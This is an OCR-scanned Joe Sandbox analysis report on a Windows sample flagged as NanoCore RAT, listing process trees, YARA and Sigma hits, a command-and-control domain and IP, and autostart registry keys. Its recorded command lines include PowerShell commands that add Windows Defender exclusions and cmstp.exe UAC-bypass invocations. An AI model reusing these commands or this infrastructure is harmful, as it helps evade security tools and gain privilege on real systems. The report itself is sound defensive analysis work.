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Windows Analysis Report

Securitelnfo.com.Variant.Tedy.122593.7296.5298

Overview

General Information Detection Signatures Classification

Sample Securitelnfo.com.Variant.

Name: Tedy.122593.7296.5298 MALICIOUS
(renamed file extension
from 5298 to exe)

Yara detected UAC Bypass using C...
Multi AV Scanner detection for subm...

Analysis ID: 631411

Malicious sample detected (through...

MDS: a3f9db216c595b.. Sigma detected: NanoCore
SHA1L:
e06a7da7340ede. Yara detected AntiVM3
SHAzse: 647c540fe4cof3d. Detected Nanocore Rat
Tags: exe
Multi AV Scanner detection for drop...
Infos:
Yara detected Nanocore RAT
Nanocore
.NET source code references suspic...
Score: 100
Range: 0-100 Contains functionality to hide user a...
Whitelisted: false Tries to detect sandboxes and other...
Confidence: 100%

Changes security center settings (n...

= System is w10x64
. Securitelnfo.com.Variant.Tedy.122593.7296.exe (PID: 6272 cmdline: “C:\Users\user\Desktop\SecuriteInfo.com.Variant. Tedy.122593.7296.exe" MD5:

A3F9DB216C595BBB5081AD0430248975)
o E¥ powershell.exe (PID: 6668 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath “C:\Program Files\Common Fil

es\System\9f3df393chbbd19b\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 6680 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o E¥ powershell.exe (PID: 6688 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath “C:\Program Files\Common Fil

es\System\9f3df393chbd19b\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o E¥ powershell.exe (PID: 6748 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Secur

itelnfo.com.Variant.Tedy.122593.7296.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 6884 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

. Securitelnfo.com.Variant. Tedy.122593.7296.exe (PID: 7024 cmdline: C:\Users\user\Desktop\Securitelnfo.com.Variant.Tedy.122593.7296.exe MD5:

A3F9DB216C595BBB5081AD0430248975)
. Securitelnfo.com.Variant. Tedy.122593.7296.exe (PID: 7096 cmdline: C:\Users\user\Desktop\Securitelnfo.com.Variant.Tedy.122593.7296.exe MD5:

A3F9DB216C595BBB5081AD0430248975)
e [ svchost.exe (PID: 1656 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

e [ svchost.exe (PID: 2476 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSve MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchost.exe (PID: 2944 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchost.exe (PID: 4768 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchostexe (PID: 6080 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve MD5: 32569E403279B3FD2EDB7EBD036273FA)
. svchost.exe (PID: 2988 cmdline: "C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe” MD5: A3F9DB216C595BBB5081AD0430248975)
. $ cmstp.exe (PID: 1824 cmdline: "c:\windows\system32\cmstp.exe" /au C:\windows\temp\hhhnfOtr.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. $ cmstp.exe (PID: 6960 cmdline: “c:\windows\system32\cmstp.exe" /au C:\windows\temp\y5zio4ie.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. svchost.exe (PID: 6924 cmdline: C:\Program Files\Common Files\System\9f3df393chbd19b\svchost.exe MD5: A3F9DB216C595BBB5081AD0430248975)
. svchost.exe (PID: 1472 cmdline: "C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe” MD5: A3F9DB216C595BBB5081AD0430248975)
. $ cmstp.exe (PID: 6992 cmdline: “c:\windows\system32\cmstp.exe" /au C:\windows\temp\jcxcOkzm.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. $ cmstp.exe (PID: 6528 cmdline: "c:\windows\system32\cmstp.exe" /au C:\windows\temp\axo2mpum.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. svchost.exe (PID: 4960 cmdline: C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe MD5: A3F9DB216C595BBB5081AD0430248975)
e [ svchostexe (PID: 6888 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
. svchost.exe (PID: 6760 cmdline: "C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe” MD5: A3F9DB216C595BBB5081AD0430248975)
. $ cmstp.exe (PID: 6512 cmdline: "c:\windows\system32\cmstp.exe" /au C:\windows\temp\w3wzxqls.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. $ cmstp.exe (PID: 4384 cmdline: "c:\windows\system32\cmstp.exe" /au C:\windows\temp\4khuvn4f.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. svchost.exe (PID: 6292 cmdline: C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe MD5: A3F9DB216C595BBB5081AD0430248975)
e [ svchostexe (PID: 4736 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Appinfo MD5: 32569E403279B3FD2EDB7EBD036273FA)
. svchost.exe (PID: 6932 cmdline: "C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe” MD5: A3F9DB216C595BBB5081AD0430248975)
. $ cmstp.exe (PID: 5928 cmdline: "c:\windows\system32\cmstp.exe" /au C:\windows\temp\y4qcuvyd.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
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. $ cmstp.exe (PID: 5988 cmdline: "c:\windows\system32\cmstp.exe" /au C:\windows\temp\nws2qlvp.inf MD5: 4833E65ED211C7F118D4A11E6FB58A09)
. svchost.exe (PID: 6272 cmdline: C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe MD5: A3F9DB216C595BBB5081AD0430248975)
e [ svchostexe (PID: 4008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
. svchost.exe (PID: 5116 cmdline: C:\Program Files\Common Files\System\9f3df393cbbd19b\svchost.exe MD5: A3F9DB216C595BBB5081AD0430248975)
e [ svchostexe (PID: 3176 cmdline: C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

Dropped Files
Source Rule Description Author Strings
C:\Windows\Temp\jcxcOkzm.inf JoeSecurity UAC  Yara detected Joe Security
BypassusingCMST UAC Bypass using
P CMSTP
C:\Windows\Temp\hhhnfOtr.inf JoeSecurity UAC  Yara detected Joe Security
BypassusingCMST UAC Bypass using
P CMSTP
C:\Windows\Temp\y5zio4ie.inf JoeSecurity UAC  Yara detected Joe Security
BypassusingCMST UAC Bypass using
P CMSTP
C:\Windows\Temp\axo2mpum.inf JoeSecurity UAC  Yara detected Joe Security
BypassusingCMST UAC Bypass using
P CMSTP
Memory Dumps
Source Rule Description Author Strings
00000016.00000003.335858540.00000000043D0000.00000  JoeSecurity UAC  Yara detected Joe Security
004.00000800.00020000.00000000.sdmp BypassusingCMST UAC Bypass using
P CMSTP
00000000.00000002.316156238.0000000004353000.00000  Nanocore_RAT_G Detetcs the Florian Roth e 0x3780d:$x1: NanoCore.ClientPluginHost
004.00000800.00020000.00000000.sdmp en_2 Nanocore RAT e 0x5782d:$x1: NanoCore.ClientPluginHost
e 0x3784a:$x2: IClientNetworkHost
e 0x5786a:$x2: IClientNetworkHost
e 0x3b37d:$x3: #=0jgz7ljmpp0J7FvLIdmi8ctIILdgtcbw8IY
Uc6GC8MeJ9IB11Crfg2DjxcfOp8PZGe
e 0x5b39d:$x3: #=0jgz7Ijmpp0J7FvLIdmi8ctIILdgtcbw8JY
Uc6GC8MeJ9B11Crfg2DjxcfOp8PZGe
00000000.00000002.316156238.0000000004353000.00000  JoeSecurity_Nano Yara detected Joe Security
004.00000800.00020000.00000000.sdmp core Nanocore RAT
00000000.00000002.316156238.0000000004353000.00000  NanoCore unknown Kevin Breen e 0x37575:%a: NanoCore
004.00000800.00020000.00000000.sdmp <kevin@techanarc e 0x37585:$a: NanoCore
hy.net> e 0x377b9:$a: NanoCore
e 0x377cd:$a: NanoCore
e 0x3780d:$a: NanoCore
e 0x57595:%a: NanoCore
e 0x575a5:$a: NanoCore
e 0x577d9:$a: NanoCore
e 0x577ed:$a: NanoCore
e 0x5782d:$a: NanoCore
e 0x375d4:$b: ClientPlugin
e 0x377d6:$b: ClientPlugin
e 0x37816:$b: ClientPlugin
e 0x575f4:$b: ClientPlugin
e 0x577f6:$b: ClientPlugin
e 0x57836:$b: ClientPlugin
e 0x376fb:$c: ProjectData
e 0x5771b:$c: ProjectData
e 0x38102:$d: DESCrypto
e 0x58122:$d: DESCrypto
e Ox3face:$e: KeepAlive
00000024.00000000.401214129.0000000000402000.00000  Nanocore_RAT_G Detetcs the Florian Roth e 0xff8d:$x1: NanoCore.ClientPluginHost
040.00000400.00020000.00000000.sdmp en_2 Nanocore RAT e Oxffca:$x2: IClientNetworkHost

e 0x13afd:$x3: #=qjgz7ljmpp0J7FvLIdmi8ctIILdgtcbw8JY
Uc6GC8MeJ9B11Crfg2DjxcfOp8PZGe

Click to see the 179 entries
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Unpacked PEs

Source Rule Description Author Strings

11.0.SecuriteInfo.com.Variant. Tedy.122593.7296.exe Nanocore_RAT_G Detetcs the Florian Roth
.400000.6.unpack en_2 Nanocore RAT

0x1018d:$x1: NanoCore.ClientPluginHost

0x101ca:$x2: IClientNetworkHost

0x13cfd:$x3: #=0jgz71jmpp0J7FvLIdmi8ctIILdgtcbw8JY
Uc6GC8MeJ9B11Crfg2DjxcfOp8PZGe

0xff05:$x1: NanoCore Client.exe
0x1018d:$x2: NanoCore.ClientPluginHost
0x117c6:$s1: PluginCommand
0x117ba:$s2: FileCommand
0x1266b:$s3: PipeExists

0x18422:$s4: PipeCreated

0x101b7:$s5: IClientLoggingHost

11.0.SecuriteInfo.com.Variant. Tedy.122593.7296.exe Nanocore_RAT_Fe Detects Nanocore Florian Roth
.400000.6.unpack b18_1 RAT

11.0.SecuriteInfo.com.Variant.Tedy.122593.7296.exe JoeSecurity_Nano Yara detected Joe Security
.400000.6.unpack core Nanocore RAT

Oxfef5:$x1: NanoCore Client

0xff05:$x1: NanoCore Client
0x1014d:$x2: NanoCore.ClientPlugin
0x1018d:$x3: NanoCore.ClientPluginHost
0x10142:$i1: IClientApp

0x10163:$i2: IClientData

0x1016f:$i3: IClientNetwork

0x1017e:$i4: IClientAppHost
0x101a7:$i5: IClientDataHost
0x101b7:$i6: IClientLoggingHost
0x101ca:$i7: IClientNetworkHost
0x101dd:$i8: IClientUIHost

0x101eb:$i9: IClientNameObjectCollection
0x10207:$i10: IClientReadOnlyNameObjectCollection
0xff54:$s1: ClientPlugin

0x10156:$s1: ClientPlugin

0x1064a:$s2: EndPoint

0x10653:$s3: IPAddress

0x1065d:$s4: IPEndPoint

0x12093:$s6: get_ClientSettings
0x12637:$s7: get_Connected

11.0.Securitelnfo.com.Variant. Tedy.122593.7296.exe MALWARE_Win_  Detects NanoCore ditekSHen
.400000.6.unpack NanoCore

11.0.SecuriteInfo.com.Variant. Tedy.122593.7296.exe NanoCore unknown Kevin Breen Oxfef5:$a: NanoCore
.400000.6.unpack <kevin@techanarc o 0xff05:$a: NanoCore
hy.net> 0x10139:%a: NanoCore
0x1014d:$a: NanoCore
0x1018d:$a: NanoCore
0xff54:$b: ClientPlugin
0x10156:$b: ClientPlugin
0x10196:$b: ClientPlugin
0x1007b:$c: ProjectData
0x10a82:$d: DESCrypto
0x1844e:$e: KeepAlive
0x1643c:$g: LogClientMessage
0x12637:3$i: get_Connected
0x10db8:$j: #=q
0x10de8:$j: #=q
0x10e04:3j: #=q
0x10e34:3j: #=q
0x10e50:$j: #=q
0x10e6c¢:$j: #=q
0x10e9c:$j: #=q
0x10eb8:$j: #=q

Click to see the 158 entries

Sigma Signatures

AV Detection

!

Sigma detected: NanoCore

E-Banking Fraud

;

Sigma detected: NanoCore

Stealing of Sensitive Information

;

Sigma detected: NanoCore
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Remote Access Functionality mil

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file
Multi AV Scanner detection for dropped file

Yara detected Nanocore RAT

Exploits

1 |

Yara detected UAC Bypass using CMSTP

Networking

Uses dynamic DNS services

E-Banking Fraud

£

Yara detected Nanocore RAT

System Summary

Malicious sample detected (through community Yara rule)

Data Obfuscation

.NET source code contains potential unpacker

Persistence and Installation Behavior

Drops PE files with benign system names

Boot Survival

Creates autostart registry keys with suspicious names

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Hides that the sample has been downloaded from the Internet (zone.identifier)

Malware Analysis System Evasion

Yara detected AntiVM3
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Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Injects a PE file into a foreign processes

Adds a directory exclusion to Windows Defender

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Stealing of Sensitive Information

ra detected Nanocore RAT

Remote Access Functionality

Detected Nanocore Rat

Yara detected Nanocore RAT

:

A |
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Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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[ .

PIVE/ WX

= 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

Securitelnfo.com.Variant. Tedy.122593.7296.exe
Securitelnfo.com.Variant. Tedy.122593.7296.exe

Dropped Files

Source

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe

Copyright Joe Security LLC 2022

Detection

28%

30%

Detection

28%

Scanner

Virustotal

ReversingLabs

Scanner

Virustotal

Label

Win32.Trojan.Agen
tTesla

Label

Link

Browse

Link

Browse
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https://www.virustotal.com/gui/file/647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0/detection/f-647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0-1653071793
https://www.virustotal.com/gui/file/647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0/detection/f-647c540fe4c9f3dc5a06c978ff0644905b07a53517e637f674a089f866a135d0-1653071793

Source Detection Scanner Label Link

C:\Program Files\Common Files\system\9f3df393cbbd19b\svchost.exe 30% ReversingLabs Win32.Trojan.Agen
tTesla

Unpacked PE Files

Source Detection Scanner Label Link Download
11.2.Securitelnfo.com.Variant.Tedy.122593.7296.exe.400000.0.unpack 100% Avira HEUR/AGEN.12 Download File
08316
11.0.Securitelnfo.com.Variant.Tedy.122593.7296.exe.400000.4.unpack 100% Avira HEUR/AGEN.12 Download File
08316
11.0.Securitelnfo.com.Variant.Tedy.122593.7296.exe.400000.10.unpack 100% Avira HEUR/AGEN.12 Download File
08316
11.0.Securitelnfo.com.Variant.Tedy.122593.7296.exe.400000.12.unpack 100% Avira HEUR/AGEN.12 Download File
08316
11.0.Securitelnfo.com.Variant.Tedy.122593.7296.exe.400000.8.unpack 100% Avira HEUR/AGEN.12 Download File
08316
11.0.Securitelnfo.com.Variant.Tedy.122593.7296.exe.400000.6.unpack 100% Avira HEUR/AGEN.12 Download File
08316
11.2.Securitelnfo.com.Variant.Tedy.122593.7296.exe.5b00000.8.unpack 100% Avira TR/NanoCore.fa Download File
dte
Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
http://https://activity.windows.comr 0% URL Reputation safe
http://https://%s.xboxlive.com 0% URL Reputation safe
http://https://dynamic.t 0% URL Reputation safe
http://https://%s.dnet.xboxlive.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation

nwme22.duckdns.org 185.220.69.56 true false high

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation
http:ff svchost.exe, 00000010.00000003.319128104 false high
https://dynamic.tO.tiles.ditu.live.com/comp/gen.ashx .000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp
http:ff svchost.exe, 00000010.00000003.319613001 false high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv  .000001B85D045000.00000004.00000020.0002
?2pv=1&r= 0000.00000000.sdmp
http:/fhttps://dev.ditu.live.com/REST/v1/Routes/ svchost.exe, 00000010.00000002.320385796 false high
.000001B85D03C000.00000004.00000020.0002
0000.00000000.sdmp
http:// svchost.exe, 00000010.00000003.319128104 false high
https://dev.virtualearth.net/REST/v1/Routes/Driving .000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp
http:// svchost.exe, 00000010.00000002.320385796 false high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen .000001B85D03C000.00000004.00000020.0002
.ashx 0000.00000000.sdmp
http:// svchost.exe, 00000010.00000003.319249361 false high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/ .000001B85D05A000.00000004.00000020.0002

0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320589594.000001B85D05C000.00
000004.00000020.00020000.00000000.sdmp
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Name

http://https://dev.ditu.live.com/REST/v1/Transit/Stops/

http://https://t0.tiles.ditu.live.com/tiles/gen

http://https://dev.virtualearth.net/REST/v1/Routes/

http:ff
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/

http:ff
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?
pv=1&r=

http:ff
https://dev.virtualearth.net/REST/v1/Routes/Walking

http:ff
https://dev.virtualearth.net/webservices/vl/LoggingSer
vice/LoggingService.svc/Log?

http:// https://activity.windows.comr

http://
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?
pv=1&r=

hitp://
https://dev.virtualearth.net/mapcontrol/HumanScaleSer
vices/GetBubbles.ashx?n=

http://https://%s.xboxlive.com

hitp://
https://dev.ditu.live.com/mapcontrol/mapconfiguration.
ashx?name=native&v=

http://https://dev.virtualearth.net/REST/v1/Locations

hitp://
https://ecn.dev.virtualearth.net/mapcontrol/mapconfigur
ation.ashx?name=native&v=

hitp://
https://dev.virtualearth.net/mapcontrol/logging.ashx

http:i/https://dev.ditu.live.com/mapcontrol/logging.ashx

hitp://
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/

hitp://
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?
pv=1&r=

http://https://dynamic.api.tiles.ditu.live.com/odvs/gdi?
pv=1&r=

http:ff
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueM
aps/data/

Copyright Joe Security LLC 2022

Source

svchost.exe, 00000010.00000003.318956837
.000001B85D067000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320630781.000001B85D06A000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 00000010.00000003.319483204
.000001B85D047000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320562765.000001B85D04E000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 00000010.00000002.320385796
.000001B85D03C000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.297198932
.000001B85D030000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.297198932
.000001B85D030000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319128104
.000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319249361
.000001B85D05A000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000003.319630514.000001B85D040000.00
000004.00000020.00020000.00000000.sdmp,
svchost.exe, 00000010.00000002.320589594
.000001B85D05C000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 0000000E.00000002.516856000
.00000200E023E000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000002.320385796
.000001B85D03C000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320172943.000001B85D013000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 00000010.00000003.319630514
.000001B85D040000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320517816.000001B85D0042000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 0000000E.00000002.516856000
.00000200E023E000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319483204
.000001B85D047000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320562765.000001B85D04E000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 00000010.00000003.319128104
.000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.297198932
.000001B85D030000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319128104
.000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319128104
.000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319249361
.000001B85D05A000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.297198932
.000001B85D030000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319249361
.000001B85D05A000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320589594.000001B85D05C000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 00000010.00000003.319249361
.000001B85D05A000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320589594.000001B85D05C000.00
000004.00000020.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

Reputation

high

high

high

high

high

high

high

unknown

high

high

low

high

high

high

high

high

high

high

high

high
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Name
http:ff
https://dev.virtualearth.net/REST/v1/Transit/Schedules/

http://https://dynamic.t

http:ff
https://dev.virtualearth.net/REST/v1/Routes/Transit

http://https://t0.ssl.ak tiles.virtualearth.net/tiles/gen

http://https://dynamic.api.tiles.ditu.live.com/odvs/gdv?
pv=1&r=

http:ff
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http://https://activity.windows.com

http://www.bingmapsportal.com

http://https://dev.ditu.live.com/REST/v1/Locations

hitp://
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copy
right/

http://https://%s.dnet.xboxlive.com

hitp://
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMa
ps/data/

http://https://dynamic.api.tiles.ditu.live.com/odvs/gd?
pv=1&r=

World Map of Contacted IPs
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Source

svchost.exe, 00000010.00000002.320517816
.000001B85D042000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000002.320562765
.000001B85D04E000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319128104
.000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.297198932
.000001B85D030000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320370067.000001B85D039000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 00000010.00000003.319249361
.000001B85D05A000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320589594.000001B85D05C000.00
000004.00000020.00020000.00000000.sdmp

Securitelnfo.com.Variant.Tedy.122593.7296.exe, 000
00000.00000002.309880319.000000000288100
0.00000004.00000800.00020000.00000000.sdmp,
Securitelnfo.com.Variant. Tedy.122593.7296.exe,
0000000B.00000002.520502243.0000000002F
A1000.00000004.00000800.00020000.0000000
0.sdmp, svchost.exe, 00000013.00000002.3
98758851.0000000003121000.00000004.00000
800.00020000.00000000.sdmp, svchost.exe,
00000014.00000002.416839988.0000000002C
A1000.00000004.00000800.00020000.0000000
0.sdmp

svchost.exe, 0000000E.00000002.516856000
.00000200E023E000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000002.320172943
.000001B85D013000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319128104
.000001B85D060000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000002.320385796
.000001B85D03C000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 0000000E.00000002.516856000
.00000200E023E000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000010.00000003.319249361
.000001B85D05A000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000001
0.00000002.320589594.000001B85D05C000.00
000004.00000020.00020000.00000000.sdmp

svchost.exe, 00000010.00000003.319249361
.000001B85D05A000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

Reputation

high

unknown

high

high

high

high

high

high

high

high

low

high

high
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[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious
185.220.69.56 nwme22.duckdns.org Romania '] 9009 M247GB false
Private

P

192.168.2.1

127.0.0.1

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 631411

Start date and time: 21/05/202201:49:06 2022-05-21 01:49:06 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 14m 21s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Securitelnfo.com.Variant. Tedy.122593.7296.5298 (renamed file extension from 5298 to exe)

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 45

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL

Copyright Joe Security LLC 2022 Page 14 of 47



Classification:
EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings

mal100.troj.expl.evad.wWinEXE@46/16@2/3

.

.

.

.

.

.

.

.

.

Successful, ratio: 80%

Successful, ratio: 0.2% (good quality ratio 0.2%)
Quality average: 59.4%
Quality standard deviation: 38.9%

Successful, ratio: 98%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time
Enable AMSI

e Exclude process from analysis (whitelisted): taskhostw.exe, dllhost.exe, BackgroundTransferHost.exe, consent.exe, Update NotificationMgr.exe, backgroundTaskHost.exe,

SgrmBroker.exe, WmiPrvSE.exe

e Excluded IPs from analysis (whitelisted): 23.211.4.86, 51.104.136.2

e Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, settings-prod-neu-2.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com,
e1723.g.akamaiedge.net, settings-win.data.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com,
ris.api.iris.microsoft.com, go.microsoft.com, store-im ages.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-
com.akamaized.net, prod.fs.microsoft.com.akadns.net, atm-settingsfe-prod-geo.trafficmanager.net

e o o o o o o o o

Simulations

Behavior and APIs
Time
01:50:21

01:50:25
01:50:33

01:50:36
01:50:42

01:50:45
01:50:50

Type
API Interceptor

Autostart

Autostart

API Interceptor

Autostart

API Interceptor

Autostart

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Copyright Joe Security LLC 2022

Execution Graph export aborted for target Securitelnfo.com.Variant.Tedy.122593.7296.exe, PID 7024 because there are no e xecuted function
Not all processes where analyzed, report is missing behavior information

Report creation exceeded maximum time and may have missing b ehavior and disassembly information.

Report creation exceeded maximum time and may have missing d isassembly code information.

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

Description
86x Sleep call for process: powershell.exe modified

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce b1bbd3cd1f3dc3f C:\Program Files\Common
Files\System\9f3df393cbbd19b\svchost.exe

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b1bbd3cd1f3dc3f C:\Program Files\Common File
s\System\9f3df393cbbd19b\svchost.exe

746x Sleep call for process: Securitelnfo.com.Variant. Tedy.122593.7296.exe modified

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce b1bbd3cd1f3dc3f C:\Program F
iles\Common Files\System\9f3df393cbbd19b\svchost.exe

3x Sleep call for process: svchost.exe modified

